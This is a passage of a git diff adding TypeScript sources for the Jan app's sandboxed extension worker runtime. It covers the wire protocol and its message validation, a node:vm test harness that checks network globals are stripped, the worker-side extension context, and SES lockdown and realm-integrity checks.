extensions: the wire protocol, the endpoint both+ * sides run, the handle tables that carry callbacks and disposables across+ * the boundary, and the composition of a worker script. The prelude itself+ * is `./prelude-source`; the node:vm sandbox for tests is `./testing`.+ */+export {+ DEFAULT_TIMEOUT_MS,+ Endpoint,+ MAX_IN_FLIGHT,+ MAX_MESSAGE_BYTES,+ portTransport,+ type EndpointOptions,+ type PortLike,+ type RequestHandler,+ type RequestOptions,+ type Transport,+} from './endpoint.js'+export {+ fromRpcError,+ isErrorCode,+ toRpcError,+ type RpcError,+} from './errors.js'+export {+ CancellationTokenSource,+ DisposableTable,+ HandleTable,+ NONE_TOKEN,+} from './handles.js'+export {+ DEACTIVATE_METHOD,+ DISPOSE_METHOD,+ HOST_METHODS,+ INVOKE_METHOD,+ PROTOCOL_VERSION,+ callbackRef,+ eventRef,+ isCallbackRef,+ isEventRef,+ isHostMethod,+ parseWire,+ type CallbackRef,+ type ControlMessage,+ type EventRef,+ type EventSubscription,+ type HostArgs,+ type HostEventName,+ type HostEvents,+ type HostMethod,+ type HostMethodSignatures,+ type HostResult,+ type LogLevel,+ type RegistrationReply,+ type Wire,+ type WireResult,+} from './protocol.js'+export {+ BUNDLE_GLOBAL,+ assertBundleShape,+ composeWorkerSource,+} from './compose.js'+export { workerTransport, type WorkerLike } from './worker-like.js'+export { ACTIVATE_TIMEOUT_MS, BOOT_FUNCTION } from './worker/runtime.js'+export { STRIPPED_GLOBALS, STRIPPED_NAVIGATOR } from './worker/strip.js'diff --git a/packages/extension-runtime/src/protocol.ts b/packages/extension-runtime/src/protocol.tsnew file mode 100644index 000000000..883c8eafd--- /dev/null+++ b/packages/extension-runtime/src/protocol.ts@@ -0,0 +1,250 @@+import type {+ CommandHandler,+ Disposable,+ HttpRequestInit,+ HttpResponse,+ JsonValue,+ MessageInfo,+ NotifyLevel,+ ProviderHandlers,+ SettingValue,+ ThreadInfo,+ ThreadSummary,+ ToolHandler,+ ValidatedManifest,+} from '@janhq/extension-api'+import { isErrorCode, type RpcError } from './errors.js'++/** The protocol version every message carries. */+export const PROTOCOL_VERSION = 1++/**+ * Everything that crosses the worker boundary. Both sides send `req`; a `res`+ * always answers one of the receiver's own outgoing ids, so each side keeps+ * its own counter and no direction field is needed.+ */+export type Wire =+ // Only the manifest: grants are enforced by the host alone, settings are+ // read on demand (secret ones from the keyring), and the 0.x API exposes+ // no locale, so nothing else would be read in the worker.+ | { v: 1; t: 'init'; manifest: ValidatedManifest }+ | { v: 1; t: 'ready' }+ | { v: 1; t: 'activateFailed'; error: RpcError }+ | { v: 1; t: 'req'; id: number; method: string; args: unknown[] }+ | { v: 1; t: 'res'; id: number; ok: true; value: unknown }+ | { v: 1; t: 'res'; id: number; ok: false; error: RpcError }+ | { v: 1; t: 'cancel'; id: number }+ | { v: 1; t: 'evt'; sub: number; value: unknown }+ // The host watchdog pings a running worker; the worker answers each one.+ | { v: 1; t: 'ping'; n: number }+ | { v: 1; t: 'pong'; n: number }++/** Lifecycle and liveness messages, which are not request traffic. */+export type ControlMessage = Extract<+ Wire,+ { t: 'init' | 'ready' | 'activateFailed' | 'ping' | 'pong' }+>++const isRecord = (v: unknown): v is Record<string, unknown> =>+ typeof v === 'object' && v !== null && !Array.isArray(v)++const isId = (v: unknown): v is number =>+ typeof v === 'number' && Number.isSafeInteger(v) && v >= 0++function parseError(v: unknown): RpcError | undefined {+ if (!isRecord(v) || typeof v.message !== 'string') return undefined+ return { code: isErrorCode(v.code) ? v.code : 'E_INTERNAL', message: v.message }+}++/**+ * Narrows anything received on a port to a `Wire` message, or undefined.+ * Messages from a worker are untrusted, so the shape is checked field by+ * field rather than cast; an unknown error code degrades to `E_INTERNAL`.+ */+export function parseWire(data: unknown): Wire | undefined {+ if (!isRecord(data) || data.v !== PROTOCOL_VERSION) return undefined+ const v = PROTOCOL_VERSION+ switch (data.t) {+ case 'init':+ // Only the host sends init, with a manifest it validated; the worker+ // trusts it as much as the rest of its bootstrap.+ return isRecord(data.manifest)+ ? {+ v,+ t: 'init',+ manifest: data.manifest as unknown as ValidatedManifest,+ }+ : undefined+ case 'ready':+ return { v, t: 'ready' }+ case 'activateFailed': {+ const error = parseError(data.error)+ return error ? { v, t: 'activateFailed', error } : undefined+ }+ case 'req':+ return isId(data.id) &&+ typeof data.method === 'string' &&+ Array.isArray(data.args)+ ? { v, t: 'req', id: data.id, method: data.method, args: data.args }+ : undefined+ case 'res': {+ if (!isId(data.id)) return undefined+ if (data.ok === true)+ return { v, t: 'res', id: data.id, ok: true, value: data.value }+ const error = data.ok === false ? parseError(data.error) : undefined+ return error ? { v, t: 'res', id: data.id, ok: false, error } : undefined+ }+ case 'cancel':+ return isId(data.id) ? { v, t: 'cancel', id: data.id } : undefined+ case 'evt':+ return isId(data.sub)+ ? { v, t: 'evt', sub: data.sub, value: data.value }+ : undefined+ case 'ping':+ case 'pong':+ return isId(data.n) ? { v, t: data.t, n: data.n } : undefined+ default:+ return undefined+ }+}++/**+ * A worker function, sent by handle where a host method takes a callback.+ * The host turns it into a function that calls `$invoke` with the handle.+ * Only those argument positions are revived; anywhere else it is plain data.+ */+export interface CallbackRef {+ $callback: number+}++/** An event listener in the worker, sent by the sub id `evt` messages carry. */+export interface EventRef {+ $event: number+}++export const callbackRef = (handle: number): CallbackRef => ({+ $callback: handle,+})+export const eventRef = (sub: number): EventRef => ({ $event: sub })++export function isCallbackRef(v: unknown): v is CallbackRef {+ return isRecord(v) && Object.keys(v).length === 1 && isId(v.$callback)+}++export function isEventRef(v: unknown): v is EventRef {+ return isRecord(v) && Object.keys(v).length === 1 && isId(v.$event)+}++/** What `events.subscribe` can listen to, and what each event carries. */+export interface HostEvents {+ 'settings.didChange': { key: string; value: SettingValue }+ 'conversations.didCreateMessage': { threadId: string; message: MessageInfo }+ 'conversations.didDeleteThread': { threadId: string }+}+export type HostEventName = keyof HostEvents++/** The arguments of `events.subscribe`, pairing each name with its payload. */+export type EventSubscription = {+ [E in HostEventName]: [name: E, listener: (event: HostEvents[E]) => void]+}[HostEventName]++export type LogLevel = 'debug' | 'info' | 'warn' | 'error'++/**+ * The closed set of calls an extension makes into the host, as the host+ * sees them: callbacks are functions here. On the wire a worker sends a+ * `CallbackRef`/`EventRef` in their place and the host revives it before+ * dispatch, so built-ins and workers share these signatures.+ */+export interface HostMethodSignatures {+ 'log': (level: LogLevel, ...args: unknown[]) => void+ 'settings.get': (key: string) => Promise<SettingValue | undefined>+ 'settings.set': (key: string, value: SettingValue) => Promise<void>+ 'storage.get': (key: string) => Promise<JsonValue | undefined>+ 'storage.set': (key: string, value: JsonValue) => Promise<void>+ 'storage.delete': (key: string) => Promise<void>+ 'storage.keys': () => Promise<string[]>+ 'commands.register': (id: string, handler: CommandHandler) => Disposable+ 'commands.execute': (id: string, ...args: JsonValue[]) => Promise<unknown>+ 'ui.notify': (notification: { level: NotifyLevel; message: string }) => void+ 'ui.setStatusItem': (+ id: string,+ update: { text?: string; tooltip?: string }+ ) => void+ 'conversations.listThreads': () => Promise<ThreadSummary[]>+ 'conversations.getThread': (id: string) => Promise<ThreadInfo | undefined>+ 'conversations.listMessages': (+ threadId: string,+ opts?: { limit?: number; before?: string }+ ) => Promise<MessageInfo[]>+ 'conversations.createThread': (input: { title: string }) => Promise<ThreadInfo>+ 'conversations.appendMessage': (+ threadId: string,+ msg: { role: 'user' | 'assistant'; text: string }+ ) => Promise<MessageInfo>+ 'tools.register': (name: string, handler: ToolHandler) => Disposable+ 'providers.register': (id: string, handlers: ProviderHandlers) => Disposable+ 'http.fetch': (url: string, init?: HttpRequestInit) => Promise<HttpResponse>+ 'events.subscribe': (...args: EventSubscription) => Disposable+}++export type HostMethod = keyof HostMethodSignatures++// A record rather than an array so the compiler rejects a missing or an+// unknown method; the runtime list is what the host filters requests by.+const HOST_METHOD_SET: Record<HostMethod, true> = {+ 'log': true,+ 'settings.get': true,+ 'settings.set': true,+ 'storage.get': true,+ 'storage.set': true,+ 'storage.delete': true,+ 'storage.keys': true,+ 'commands.register': true,+ 'commands.execute': true,+ 'ui.notify': true,+ 'ui.setStatusItem': true,+ 'conversations.listThreads': true,+ 'conversations.getThread': true,+ 'conversations.listMessages': true,+ 'conversations.createThread': true,+ 'conversations.appendMessage': true,+ 'tools.register': true,+ 'providers.register': true,+ 'http.fetch': true,+ 'events.subscribe': true,+}++/** Every `HostMethod`, for runtime checks. */+export const HOST_METHODS = Object.keys(HOST_METHOD_SET) as HostMethod[]++export function isHostMethod(method: string): method is HostMethod {+ return Object.prototype.hasOwnProperty.call(HOST_METHOD_SET, method)+}+export type HostArgs<M extends HostMethod> = Parameters<HostMethodSignatures[M]>+export type HostResult<M extends HostMethod> = ReturnType<+ HostMethodSignatures[M]+>++/**+ * What a host method resolves to on the wire: a registration answers with+ * the id of the host-side disposable instead of the disposable itself.+ */+export type WireResult<M extends HostMethod> =+ HostResult<M> extends Disposable+ ? RegistrationReply+ : Awaited<HostResult<M>>++/**+ * Runtime methods outside the extension API. The worker sends `$dispose`+ * with a disposable id the host returned; the host sends `$invoke` with a+ * callback handle and its arguments, and `$deactivate` before terminating.+ */+export const DISPOSE_METHOD = '$dispose'+export const INVOKE_METHOD = '$invoke'+export const DEACTIVATE_METHOD = '$deactivate'++/** The host's answer to a registration made across the boundary. */+export interface RegistrationReply {+ disposable: number+}diff --git a/packages/extension-runtime/src/testing/harness.ts b/packages/extension-runtime/src/testing/harness.tsnew file mode 100644index 000000000..0d1baa499--- /dev/null+++ b/packages/extension-runtime/src/testing/harness.ts@@ -0,0 +1,220 @@+import { runInContext, createContext } from 'node:vm'+import { MessageChannel } from 'node:worker_threads'+import type { WorkerLike } from '../worker-like.js'++/**+ * Names a real dedicated worker scope carries that the prelude has to strip.+ * The fakes record calls, so a test can tell a stripped name from one that+ * slipped through.+ */+const NETWORK_GLOBALS = [+ 'fetch',+ 'XMLHttpRequest',+ 'WebSocket',+ 'WebSocketStream',+ 'WebTransport',+ 'EventSource',+ 'importScripts',+ 'Worker',+ 'SharedWorker',+ 'BroadcastChannel',+ 'Notification',+ 'indexedDB',+ 'caches',+] as const++export interface SandboxOptions {+ /** Extra or replacement globals, set as own properties of the scope. */+ globals?: Record<string, unknown>+ /** The worker `name`, as `new Worker(url, { name })` would set it. */+ name?: string+}++/** A composed worker script running in a `node:vm` realm. */+export interface SandboxWorker extends WorkerLike {+ /** The worker's global object, for inspecting what the prelude left. */+ readonly scope: Record<string, unknown>+ /** Calls user code made to a fake network or Tauri global. */+ readonly leaks: string[]+ readonly terminated: boolean+}++type Listener = (e: { data: unknown }) => void+type ErrorListener = (e: { message: string }) => void++// Built inside the realm so the prototype chain ends at the realm's own+// Object.prototype, where the prelude stops walking, as in a real worker.+const SCOPE_SETUP = `(() => {+ const eventTarget = Object.create(Object.prototype)+ const workerGlobalScope = Object.create(eventTarget)+ const dedicated = Object.create(workerGlobalScope)+ const workerNavigator = Object.create(Object.prototype)+ Object.setPrototypeOf(globalThis, dedicated)+ return { eventTarget, workerGlobalScope, dedicated, workerNavigator }+})()`++/**+ * Runs `source` the way a dedicated classic worker would: as one script, in+ * its own realm, with a WorkerGlobalScope-like prototype chain carrying+ * `fetch` and friends, and messages crossing a real `MessageChannel`, so+ * they are structured-cloned. `@vitest/web-worker` runs workers in the test+ * realm, which would exercise neither the composed source nor the stripping.+ *+ * Timers go through the test realm's current `setTimeout`, so fake timers+ * reach the sandbox too.+ */+export function runInSandbox(+ source: string,+ options: SandboxOptions = {}+): SandboxWorker {+ const { port1: hostPort, port2: workerPort } = new MessageChannel()+ const leaks: string[] = []+ const timers = new Set<ReturnType<typeof setTimeout>>()+ const workerListeners = new Set<Listener>()+ const hostListeners = new Set<Listener>()+ const errorListeners = new Set<ErrorListener>()+ let terminated = false++ // The app's CSP has no 'unsafe-eval', and a worker inherits it: eval and+ // Function throw an EvalError there, which the prelude's SES lockdown+ // has to cope with.+ const context = createContext({}, { codeGeneration: { strings: false } })+ const realm = runInContext(SCOPE_SETUP, context) as Record<string, object>+ const scope = runInContext('globalThis', context) as Record<string, unknown>++ const define = (target: object, values: Record<string, unknown>) => {+ for (const [key, value] of Object.entries(values))+ Object.defineProperty(target, key, {+ value,+ writable: true,+ enumerable: false,+ configurable: true,+ })+ }++ const fake = (name: string) =>+ function leaked() {+ leaks.push(name)+ }++ define(realm.eventTarget, {+ addEventListener: (type: string, listener: Listener) => {+ if (type === 'message') workerListeners.add(listener)+ },+ removeEventListener: (type: string, listener: Listener) => {+ if (type === 'message') workerListeners.delete(listener)+ },+ })+ define(+ realm.workerGlobalScope,+ Object.fromEntries(NETWORK_GLOBALS.map((n) => [n, fake(n)]))+ )+ define(realm.workerGlobalScope, {+ setTimeout: (fn: () => void, ms?: number) => {+ const id = setTimeout(() => {+ timers.delete(id)+ if (!terminated) fn()+ }, ms)+ timers.add(id)+ return id+ },+ clearTimeout: (id: ReturnType<typeof setTimeout>) => {+ timers.delete(id)+ clearTimeout(id)+ },+ queueMicrotask: (fn: () => void) => queueMicrotask(fn),+ console,+ })+ Object.defineProperty(realm.workerGlobalScope, 'self', {+ get: () => scope,+ configurable: true,+ })+ Object.defineProperty(realm.workerGlobalScope, 'navigator', {+ get: () => navigatorObject,+ configurable: true,+ })+ const navigatorObject = Object.create(realm.workerNavigator) as object+ define(realm.workerNavigator, {+ storage: { getDirectory: fake('navigator.storage') },+ locks: { request: fake('navigator.locks') },+ serviceWorker: { register: fake('navigator.serviceWorker') },+ userAgent: 'jan-sandbox',+ })+ define(realm.dedicated, {+ name: options.name ?? '',+ postMessage: (message: unknown) => {+ if (!terminated) workerPort.postMessage(message)+ },+ close: () => terminate(),+ })+ // Tauri injects these into windows, not workers; a fake one here proves+ // the prelude would strip them anyway.+ define(scope, {+ __TAURI__: { invoke: fake('__TAURI__') },+ __TAURI_INTERNALS__: { invoke: fake('__TAURI_INTERNALS__') },+ __TAURI_IPC__: fake('__TAURI_IPC__'),+ })+ define(scope, options.globals ?? {})++ // A worker receives nothing until its script has run; messages the host+ // posts earlier (init, right after construction) wait until then.+ let scriptRan = false+ const early: unknown[] = []+ const deliver = (data: unknown) => {+ for (const l of [...workerListeners]) l({ data })+ }+ workerPort.addEventListener('message', (e) => {+ const { data } = e as MessageEvent+ if (scriptRan) deliver(data)+ else early.push(data)+ })+ workerPort.start()+ hostPort.addEventListener('message', (e) => {+ for (const l of [...hostListeners]) l({ data: (e as MessageEvent).data })+ })+ hostPort.start()++ const terminate = () => {+ if (terminated) return+ terminated = true+ for (const id of timers) clearTimeout(id)+ timers.clear()+ workerListeners.clear()+ hostPort.close()+ workerPort.close()+ }++ // A real worker reports an uncaught error of its script as an `error`+ // event on the Worker object, after the constructor returned.+ queueMicrotask(() => {+ try {+ runInContext(source, context, { filename: `ext:${options.name ?? ''}` })+ } catch (error) {+ const message = error instanceof Error ? error.message : String(error)+ for (const l of [...errorListeners]) l({ message })+ }+ scriptRan = true+ for (const data of early.splice(0)) deliver(data)+ })++ const worker: SandboxWorker = {+ scope,+ leaks,+ get terminated() {+ return terminated+ },+ postMessage: (message: unknown) => {+ if (!terminated) hostPort.postMessage(message)+ },+ addEventListener: (type: 'message' | 'error', listener: Listener | ErrorListener) => {+ if (type === 'message') hostListeners.add(listener as Listener)+ else errorListeners.add(listener as ErrorListener)+ },+ removeEventListener: (type: 'message' | 'error', listener: Listener | ErrorListener) => {+ if (type === 'message') hostListeners.delete(listener as Listener)+ else errorListeners.delete(listener as ErrorListener)+ },+ terminate,+ }+ return worker+}diff --git a/packages/extension-runtime/src/worker-like.ts b/packages/extension-runtime/src/worker-like.tsnew file mode 100644index 000000000..2047c8810--- /dev/null+++ b/packages/extension-runtime/src/worker-like.ts@@ -0,0 +1,33 @@+import type { Transport } from './endpoint.js'++/**+ * The part of a DOM `Worker` the host uses. The sandbox harness implements+ * it too, which is what lets the host runtime be tested without a browser.+ */+export interface WorkerLike {+ postMessage(message: unknown): void+ addEventListener(type: 'message', listener: (e: { data: unknown }) => void): void+ addEventListener(type: 'error', listener: (e: { message: string }) => void): void+ removeEventListener(+ type: 'message',+ listener: (e: { data: unknown }) => void+ ): void+ removeEventListener(+ type: 'error',+ listener: (e: { message: string }) => void+ ): void+ terminate(): void+}++/** The host end of a worker channel; closing it terminates the worker. */+export function workerTransport(worker: WorkerLike): Transport {+ return {+ send: (message) => worker.postMessage(message),+ onMessage: (listener) => {+ const handler = (e: { data: unknown }) => listener(e.data)+ worker.addEventListener('message', handler)+ return { dispose: () => worker.removeEventListener('message', handler) }+ },+ close: () => worker.terminate(),+ }+}diff --git a/packages/extension-runtime/src/worker/context.ts b/packages/extension-runtime/src/worker/context.tsnew file mode 100644index 000000000..8e019225d--- /dev/null+++ b/packages/extension-runtime/src/worker/context.ts@@ -0,0 +1,253 @@+import {+ DisposableStore,+ type CancellationToken,+ type Disposable,+ type Event,+ type ExtensionContext,+ type JsonValue,+ type SettingValue,+ type ValidatedManifest,+} from '@janhq/extension-api'+import type { Endpoint } from '../endpoint.js'+import type { HandleTable } from '../handles.js'+import {+ DISPOSE_METHOD,+ callbackRef,+ eventRef,+ type HostEventName,+ type HostEvents,+ type HostMethod,+ type LogLevel,+ type RegistrationReply,+ type WireResult,+} from '../protocol.js'++/** A worker function the host can call through `$invoke`. */+export type WorkerCallback = (+ args: unknown[],+ token: CancellationToken+) => unknown++/** The worker-side context plus what the runtime needs to finish activation. */+export interface WorkerContext {+ ctx: ExtensionContext+ /**+ * Waits for every fire-and-forget call made so far (registrations,+ * notifications) and rejects with the first failure, so a registration+ * the host refused during `activate` fails activation the way a sync+ * throw does in process.+ */+ settled(): Promise<void>+}++/**+ * Builds the `ExtensionContext` an extension sees inside its worker. Every+ * method is a request to the host, which checks permissions and arguments;+ * nothing is enforced here. Calls whose public signature is synchronous+ * (registrations, `ui.notify`) are sent at once and tracked, see `settled`.+ */+export function createWorkerContext(+ manifest: ValidatedManifest,+ endpoint: Endpoint,+ callbacks: HandleTable<WorkerCallback>+): WorkerContext {+ let nextSub = 1+ const outstanding = new Set<Promise<unknown>>()+ let firstFailure: { error: unknown } | undefined++ const call = <M extends HostMethod>(+ method: M,+ ...args: unknown[]+ ): Promise<WireResult<M>> =>+ endpoint.request(method, args) as Promise<WireResult<M>>++ const report = (what: string, error: unknown) => {+ // Through the host so the line lands in the app log, tagged like ctx.log.+ void endpoint+ .request('log', ['error', `${what} failed:`, String(error)])+ .catch(() => undefined)+ }++ const track = (what: string, p: Promise<unknown>) => {+ outstanding.add(p)+ p.then(+ () => outstanding.delete(p),+ (error: unknown) => {+ outstanding.delete(p)+ firstFailure ??= { error }+ report(what, error)+ }+ )+ }++ /**+ * Registers something on the host and returns its disposable at once. A+ * dispose before the host answered is remembered and sent when it does.+ */+ const register = (+ what: string,+ method: HostMethod,+ args: unknown[],+ releaseLocal: () => void+ ): Disposable => {+ let disposed = false+ let remote: number | undefined+ const reply = (endpoint.request(method, args) as Promise<RegistrationReply>)+ .then((r) => {+ remote = r.disposable+ if (disposed) release()+ })+ const release = () => {+ if (remote === undefined) return+ const id = remote+ remote = undefined+ void endpoint.request(DISPOSE_METHOD, [id]).catch(() => undefined)+ }+ track(what, reply)+ return {+ dispose: () => {+ if (disposed) return+ disposed = true+ releaseLocal()+ release()+ },+ }+ }++ const withCallback = (fn: WorkerCallback) => {+ const handle = callbacks.add(fn)+ return { ref: callbackRef(handle), release: () => callbacks.delete(handle) }+ }++ const subscribe =+ <E extends HostEventName>(name: E): Event<HostEvents[E]> =>+ (listener) => {+ // The sub id is chosen here, and the listener attached before the+ // request goes out, so no event can arrive before anyone listens.+ const sub = nextSub+++ const local = endpoint.onEvent(sub, (value) =>+ listener(value as HostEvents[E])+ )+ return register(`Subscribing to ${name}`, 'events.subscribe', [+ name,+ eventRef(sub),+ ], () => local.dispose())+ }++ const log = (level: LogLevel) =>+ (...args: unknown[]) => {+ // Stringified here: arbitrary values may not survive structured clone.+ const line = args.map((a) =>+ typeof a === 'string' ? a : safeStringify(a)+ )+ void endpoint.request('log', [level, ...line]).catch(() => undefined)+ }++ const ctx: ExtensionContext = {+ extension: {+ id: manifest.id,+ version: manifest.version,+ displayName: manifest.displayName,+ },+ subscriptions: new DisposableStore(),+ log: {+ debug: log('debug'),+ info: log('info'),+ warn: log('warn'),+ error: log('error'),+ },+ settings: {+ get: async <T extends SettingValue>(key: string) =>+ (await call('settings.get', key)) as T | undefined,+ set: (key, value) => call('settings.set', key, value),+ onDidChange: subscribe('settings.didChange'),+ },+ storage: {+ get: async <T extends JsonValue>(key: string) =>+ (await call('storage.get', key)) as T | undefined,+ set: (key, value) => call('storage.set', key, value),+ delete: (key) => call('storage.delete', key),+ keys: () => call('storage.keys'),+ },+ commands: {+ registerCommand: (id, handler) => {+ const cb = withCallback((args) =>+ handler(...(args as Parameters<typeof handler>))+ )+ return register(`Registering command '${id}'`, 'commands.register', [+ id,+ cb.ref,+ ], cb.release)+ },+ execute: async <T>(id: string, ...args: JsonValue[]) =>+ (await call('commands.execute', id, ...args)) as T,+ },+ ui: {+ notify: (notification) =>+ track('Notifying', call('ui.notify', notification)),+ setStatusItem: (id, update) =>+ track(+ `Updating status item '${id}'`,+ call('ui.setStatusItem', id, update)+ ),+ },+ conversations: {+ listThreads: () => call('conversations.listThreads'),+ getThread: (id) => call('conversations.getThread', id),+ listMessages: (threadId, opts) =>+ call('conversations.listMessages', threadId, ...(opts ? [opts] : [])),+ createThread: (input) => call('conversations.createThread', input),+ appendMessage: (threadId, msg) =>+ call('conversations.appendMessage', threadId, msg),+ onDidCreateMessage: subscribe('conversations.didCreateMessage'),+ onDidDeleteThread: subscribe('conversations.didDeleteThread'),+ },+ tools: {+ registerTool: (name, handler) => {+ const cb = withCallback((args, token) => handler(args[0], token))+ return register(`Registering tool '${name}'`, 'tools.register', [+ name,+ cb.ref,+ ], cb.release)+ },+ },+ providers: {+ registerProvider: (id, handlers) => {+ const { listModels } = handlers+ const cb = listModels ? withCallback(() => listModels()) : undefined+ return register(+ `Registering provider '${id}'`,+ 'providers.register',+ [id, cb ? { listModels: cb.ref } : {}],+ () => cb?.release()+ )+ },+ },+ http: {+ fetch: (url, init) => call('http.fetch', url, ...(init ? [init] : [])),+ },+ // No proposal is implemented yet.+ proposed: {},+ }++ return {+ ctx,+ settled: async () => {+ // Each tracked call removes itself before allSettled resumes, and a+ // call may start another (a dispose racing its registration), so+ // drain until nothing is left.+ while (outstanding.size > 0) await Promise.allSettled([...outstanding])+ if (firstFailure) throw firstFailure.error+ },+ }+}++function safeStringify(value: unknown): string {+ // SES error taming leaves `stack` an empty string, hence `||`.+ if (value instanceof Error) return value.stack || String(value)+ try {+ return JSON.stringify(value) ?? String(value)+ } catch {+ return String(value)+ }+}diff --git a/packages/extension-runtime/src/worker/lockdown.ts b/packages/extension-runtime/src/worker/lockdown.tsnew file mode 100644index 000000000..aed4dbbcd--- /dev/null+++ b/packages/extension-runtime/src/worker/lockdown.ts@@ -0,0 +1,39 @@+// Evaluating 'ses' installs `lockdown` on the global; nothing else of it is+// used. The prelude bundles it, so a worker never fetches it.+import 'ses'++/**+ * How the worker realm is locked down.+ *+ * - `errorTaming: 'safe'` hides stacks from code that only holds an error,+ * so they cannot leak host paths or be used to probe the runtime.+ * - `evalTaming: 'no-eval'` matches the CSP, which has no 'unsafe-eval':+ * eval and Function throw even where a CSP is missing.+ * - `consoleTaming: 'unsafe'` keeps the worker's own console, so an+ * extension's console output still reaches the devtools as is.+ */+const LOCKDOWN_OPTIONS = {+ errorTaming: 'safe',+ evalTaming: 'no-eval',+ consoleTaming: 'unsafe',+} as const++/** Freezes an object graph; what `lockdown` leaves as `harden`. */+export type Harden = <T>(value: T) => T++// Taken while the module evaluates, before any bundle code has run.+// `harden` cannot be taken the same way: SES only installs it when+// lockdown runs, which is still before the bundle, so reading it then is safe.+const lock = lockdown++/**+ * Freezes every primordial of the worker realm and returns `harden`. Runs+ * at the end of the prelude: after the realm checks, which need the+ * original `Error` that SES replaces, and before the bundle, so a bundle+ * (or one of its dependencies) can no longer change what the runtime and+ * other code in the worker rely on.+ */+export function lockdownWorker(): Harden {+ lock(LOCKDOWN_OPTIONS)+ return harden+}diff --git a/packages/extension-runtime/src/worker/prelude.ts b/packages/extension-runtime/src/worker/prelude.tsnew file mode 100644index 000000000..50f51bb0a--- /dev/null+++ b/packages/extension-runtime/src/worker/prelude.ts@@ -0,0 +1,10 @@+// The entry bundled into the prelude IIFE (build-prelude.mjs). It must run+// first in the composed worker script; see compose.ts. The imports run in+// order: start.ts checks the realm (realm.ts, before any other module of+// the prelude reads a global) and strips the worker; lockdown.ts then+// evaluates SES. The prelude ends by locking the realm down, so the+// bundle that follows it starts in a frozen realm.+import { runtime } from './start.js'+import { lockdownWorker } from './lockdown.js'++runtime.seal(lockdownWorker())diff --git a/packages/extension-runtime/src/worker/realm.ts b/packages/extension-runtime/src/worker/realm.tsnew file mode 100644index 000000000..9ae915c16--- /dev/null+++ b/packages/extension-runtime/src/worker/realm.ts@@ -0,0 +1,134 @@+// Evaluated first in the prelude (see prelude.ts), before any other module+// of it. The prelude and the bundle share one classic script, so a bundle's+// top-level `function Set() {}` is bound on the global before this line+// runs. The host refuses such bundles (assertBundleShape); this is the+// second line: it takes what it can from syntax, checks every global the+// prelude reads against shapes a hoisted declaration cannot produce, and+// throws, aborting the script, before anything calls one of them.+//+// A hoisted declaration can only leave a name `undefined` (a `var` over a+// missing name) or bind a fresh function of the bundle whose properties are+// still the defaults: it runs no code until called, and nothing here calls a+// global. So an object check rules out the first, a prototype method check+// the second, and an identity check against syntax both.+//+// Only the stripping has to be beyond the bundle's reach. Once it is done,+// the bundle may replace any global, but the rest of the worker runtime+// only ever reaches the host's checked API, so that gains it nothing.++const ObjectCtor = {}.constructor as ObjectConstructor+const ArrayCtor = [].constructor as ArrayConstructor+const NumberCtor = (0).constructor as NumberConstructor+const StringCtor = ''.constructor as StringConstructor+const PromiseCtor = (async () => undefined)().constructor as PromiseConstructor+const AsyncFunctionProto = ObjectCtor.getPrototypeOf(async () => undefined)+// Reducing an empty array without a seed throws a TypeError, whose+// prototype chain leads to Error with no global lookup.+function caught(): unknown {+ try {+ ;([] as number[]).reduce((a, b) => a + b)+ } catch (error) {+ return error+ }+ return undefined+}+const ErrorCtor = ObjectCtor.getPrototypeOf(+ ObjectCtor.getPrototypeOf(caught())+).constructor as ErrorConstructor++const { getPrototypeOf, getOwnPropertyDescriptor, defineProperty, hasOwn } =+ ObjectCtor++const replaced = (name: string) =>+ new ErrorCtor(`The worker global '${name}' was replaced before the prelude ran`)++const isObject = (v: unknown): v is object => typeof v === 'object' && v !== null++// A collection constructor: a hoisted function's own prototype has no `has`.+const isCollection = (v: unknown): boolean =>+ typeof v === 'function' &&+ hasOwn(v, 'prototype') &&+ typeof (v as { prototype: { has?: unknown } }).prototype.has === 'function'++// A host function such as setTimeout: not constructible, so it has no own+// `prototype`. Every function a script can declare (plain, generator, async+// generator) has one, except an async function, whose prototype differs.+const isHostFunction = (v: unknown): boolean =>+ typeof v === 'function' &&+ !hasOwn(v, 'prototype') &&+ getPrototypeOf(v) !== AsyncFunctionProto++// Taken before any check, only if it is the host's own: an abort is then+// reported at once instead of leaving the host to its start timeout. A+// replaced postMessage reports nothing; the host still times out. Called+// with no `this`, which a worker's global operations accept.+const hostPost: ((message: unknown) => void) | undefined = isHostFunction(+ postMessage+)+ ? postMessage+ : undefined++function require(ok: boolean, name: string): void {+ if (ok) return+ const error = replaced(name)+ hostPost?.({+ v: 1,+ t: 'activateFailed',+ error: { code: 'E_INTERNAL', message: error.message },+ })+ throw error+}++require(Object === ObjectCtor, 'Object')+require(Array === ArrayCtor, 'Array')+require(Number === NumberCtor, 'Number')+require(String === StringCtor, 'String')+require(Promise === PromiseCtor, 'Promise')+require(Error === ErrorCtor, 'Error')+require(isObject(Reflect), 'Reflect')+require(isObject(JSON), 'JSON')+require(isCollection(Map), 'Map')+require(isCollection(Set), 'Set')+require(isObject(console), 'console')+require(isHostFunction(setTimeout), 'setTimeout')+require(isHostFunction(clearTimeout), 'clearTimeout')+require(isHostFunction(queueMicrotask), 'queueMicrotask')+require(isObject(globalThis), 'globalThis')+// The runtime keeps these for messaging, and calls `postMessage` to report+// a failed strip, while the network globals may still be in place.+require(isHostFunction(postMessage), 'postMessage')+require(isHostFunction(addEventListener), 'addEventListener')+require(isHostFunction(removeEventListener), 'removeEventListener')+require(+ typeof (globalThis as { close?: unknown }).close === 'undefined' ||+ isHostFunction((globalThis as { close?: unknown }).close),+ 'close'+)++/** What the prelude uses to strip the worker, captured above. */+export interface Realm {+ global: object+ ObjectPrototype: object+ getPrototypeOf(o: object): object | null+ getOwnPropertyDescriptor(o: object, name: string): PropertyDescriptor | undefined+ defineProperty(o: object, name: string, d: PropertyDescriptor): void+ deleteProperty(o: object, name: string): boolean+ apply(fn: () => unknown, self: object): unknown+ /** The error to throw when a global turns out to have been replaced. */+ replaced(name: string): Error+}++const { deleteProperty, apply } = Reflect++export const realm: Realm = {+ global: globalThis,+ ObjectPrototype: ObjectCtor.prototype,+ getPrototypeOf,+ getOwnPropertyDescriptor,+ defineProperty: (o, name, d) => {+ defineProperty(o, name, d)+ },+ deleteProperty,+ apply: (fn, self) => apply(fn, self, []),+ replaced,+}diff --git a/packages/extension-runtime/src/worker/runtime.ts b/packages/extension-runtime/src/worker/runtime.tsnew file mode 100644index 000000000..be8b85861--- /dev/null+++ b/packages/extension-runtime/src/worker/runtime.ts@@ -0,0 +1,197 @@+import {+ ExtensionError,+ type ExtensionContext,+ type ExtensionModule,+ type ValidatedManifest,+} from '@janhq/extension-api'+import { Endpoint, type Transport } from '../endpoint.js'+import { toRpcError } from 